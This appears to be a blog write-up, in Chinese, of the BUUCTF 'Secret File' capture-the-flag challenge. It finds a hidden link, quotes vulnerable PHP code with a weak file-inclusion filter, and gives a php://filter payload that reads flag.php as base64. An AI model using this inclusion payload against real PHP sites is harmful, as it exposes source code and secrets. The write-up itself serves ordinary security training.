当前位置: 首页 > news >正文

BUUCTF[极客大挑战 2019]Secret File 1题解

[极客大挑战 2019]Secret File 1

  • 分析:
  • 解题
    • 界面1:
    • 界面二:
    • 界面3:
  • 总结:

分析:

事后来看,这道题主打一个走一步看一步。我们只能从题目的标题中猜到,这道题与文件有关。

解题

界面1:

index.php
本题使用BurpSuite抓包,开始分析Request包:
bp
在图片中找到了一个不和谐的地方

<a id="master" href="./Archive_room.php" style="backgroundcolor:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">

这里设置了一个超链接,只不过按钮设置的非常小,这里我们直接访问/Archive_room.php即可。
访问网址:

界面二:

在这里插入图片描述
这里有一个快速的重定向,所有必须使用BP抓包,点击SECRET按钮:
在这里插入图片描述

界面3:

访问secr3t.php
得到源代码

<html><title>secret</title><meta charset="UTF-8">
<?phphighlight_file(__FILE__);error_reporting(0);$file=$_GET['file'];if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){echo "Oh no!";exit();}include($file); 
//flag放在了flag.php里
?>
</html>

分析过滤代码的目的:

  1. …/ :防止通过相对路径访问文件夹
  2. tp:过滤http和https
  3. input:过滤php://input

这里我们也可以尝试构造:

?file=php://filter/read=convert.base64-encode/resource=flag.php

如果对于如何构造这个payload,可以访问这个链接:BUUCTF[ACTF2020 新生赛]Include 1题解
flag
将下面的BASE64代码解码

<!DOCTYPE html><html><head><meta charset="utf-8"><title>FLAG</title></head><body style="background-color:black;"><br><br><br><br><br><br><h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br><p style="font-family:arial;color:red;font-size:20px;text-align:center;"><?phpecho "我就在这里";$flag = 'flag{aa66b2f7-db47-4fb5-927c-2f79fe08c2b9}';$secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'?></p></body></html>

最后获得flag:flag{aa66b2f7-db47-4fb5-927c-2f79fe08c2b9}

总结:

这道题的主要考点依旧是文件包含问题,只是在前面增添了一些步骤,难度整体不大。

http://www.lqws.cn/news/70363.html

相关文章:

  • 动态规划(10):状态压缩
  • 【AUTOSAR SystemServices】深入解析StbM模块:功能定义、工作原理与代码实现
  • Modern C++(二)预处理器及表达式
  • 概率统计:AI大模型的数学支柱
  • imgsz参数设置
  • 数据结构与算法:图论——拓扑排序
  • [RoarCTF 2019]Easy Calc
  • 常见ADB指令
  • 数据库系统概论(十六)数据库安全性(安全标准,控制,视图机制,审计与数据加密)
  • JavaScript性能优化
  • [android]MT6835 Android 指令启动MT6631 wifi操作说明
  • 【大模型学习】项目练习:视频文本生成器
  • 【C盘瘦身】给DevEco Studio中HarmonyOSEmulator(鸿蒙模拟器)换个地方,一键移动给C盘瘦身
  • Python发送天气预报到企业微信解决方案
  • 计算机视觉---YOLOv6
  • 函数组件和类组件
  • 【Java EE初阶】计算机是如何⼯作的
  • java28
  • [MySQL初阶]MySQL(7) 表的内外连接
  • 什么是线程上下文切换?
  • Linux(10)——第二个小程序(自制shell)
  • 摩尔投票算法原理实现一文剖析
  • SQL Views(视图)
  • MyBatis源码解析:从 Mapper 接口到 SQL 执行的完整链路
  • 数据库系统概论(十二)SQL 基于派生表的查询 超详细讲解(附带例题表格对比带你一步步掌握)
  • Spring Boot中的WebSocket技术实现
  • oracle sql 语句 优化方法
  • NLP学习路线图(十九):GloVe
  • Spring Boot中保存前端上传的图片
  • Android高级开发第三篇 - JNI异常处理与线程安全编程